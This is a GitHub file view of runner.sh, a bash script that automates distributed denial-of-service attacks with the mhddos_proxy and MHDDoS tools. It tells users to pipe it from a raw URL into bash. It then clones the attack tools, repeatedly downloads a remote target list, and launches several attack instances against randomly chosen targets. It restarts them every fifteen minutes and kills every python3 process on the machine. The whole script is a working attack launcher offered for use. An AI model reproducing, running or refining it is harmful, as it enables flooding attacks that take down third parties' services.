-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathrunner.sh
90 lines (77 loc) · 3.87 KB
/
runner.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/bin/bash
##### Use next command in local linux terminal to run this script.
# >>>>> curl -s https://raw.githubusercontent.com/Aruiem234/auto_mhddos/main/runner.sh | bash <<<<<
##### It is possible to pass arguments "num_of_copies" and "restart_interval" to script.
##### curl -s https://raw.githubusercontent.com/Aruiem234/auto_mhddos/main/runner.sh | bash -s -- 2 1800 (launch with num_of_copies=2 and restart_interval=1800)
##### To kill script just close terminal window. OR. In other terminal run 'pkill -f python3'. And press CTRL+C in main window.
## "num_of_copies" allows to start several copies of runner.py.
## Each copy will choose different target from https://raw.githubusercontent.com/KarboDuck/runner.sh/master/runner_targets
## This is different from "multiple targets" in mhddos_proxy. Built in mhddos_proxy "multiple targets" can attack multiple IP's but only with same one method.
## "num_of_copies" allows to launch several copies of runner.py and targets will be attacked with different methods.
## Default = 2 copies(instances). Don't use high values without testing first, pc/vps can slowdown.
num_of_copies="${1:-2}"
## Restart script every N seconds (900s = 15m, 1800s = 30m, 3600s = 60m).
## It allows to download updates for mhddos_proxy, MHDDoS and target list.
## By default 900s (15m), can be passed as second parameter
restart_interval="${2:-900}"
#Just in case kill previous copy of mhddos_proxy
pkill -f start.py
pkill python3
# Install git, python3, pip if doesn't installed already
if [ ! -f /usr/bin/git ]; then
sudo apt install git -y
fi
if [ ! -f /usr/bin/python3 ]; then
sudo apt install python3 -y
fi
if [ ! -f /usr/bin/pip ]; then
apt install python3-pip -y
fi
if [ ! -f /usr/bin/wget ]; then
apt install wget -y
fi
if [ ! -f /usr/bin/curl ]; then
apt install curl -y
fi
pip install --upgrade pip > /dev/null #No output. Resolved some problems with pip on debian
#Install latest version of mhddos_proxy and MHDDoS
cd ~
rm -rf mhddos_proxy
git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
cd mhddos_proxy
rm proxies_config.json
wget https://raw.githubusercontent.com/Aruiem234/mhddosproxy/main/proxies_config.json
git clone https://github.com/MHProDev/MHDDoS.git
python3 -m pip install -r MHDDoS/requirements.txt
# Restart attacks and update targets list every 15 minutes (by default)
while true
echo -e "#####################################\n"
do
# Get number of targets in runner_targets. First 5 strings ommited, those are reserved as comments.
list_size=$(curl -s https://raw.githubusercontent.com/Aruiem234/auto_mhddos/main/runner_targets | cat | grep "^runner.py" | wc -l)
echo -e "\nNumber of targets in list: " $list_size "\n"
# Create list with random numbers. To choose random targets from list on next step.
random_numbers=$(shuf -i 1-$list_size -n $num_of_copies)
echo -e "random number(s): " $random_numbers "\n"
# Print all randomly selected targets on screen
echo -e "Choosen target(s):\n"
for i in $random_numbers
do
target=$(awk 'NR=='"$i" <<< "$(curl -s https://raw.githubusercontent.com/Aruiem234/auto_mhddos/main/runner_targets | cat | grep "^runner.py")")
echo -e " "$target"\n"
done
# Launch multiple mhddos_proxy instances with different targets.
for i in $random_numbers
do
# Filter and only get lines that starts with "runner.py". Then get one target from that filtered list.
cmd_line=$(awk 'NR=='"$i" <<< "$(curl -s https://raw.githubusercontent.com/Aruiem234/auto_mhddos/main/runner_targets | cat | grep "^runner.py")")
#echo $cmd_line
python3 ~/mhddos_proxy/$cmd_line&
done
echo -e "#####################################\n"
sleep $restart_interval
echo -e "RESTARTING\n"
pkill -f start.py #In theory should work but doesn't give good results
pkill python3 #It just works (c)
sleep 2
done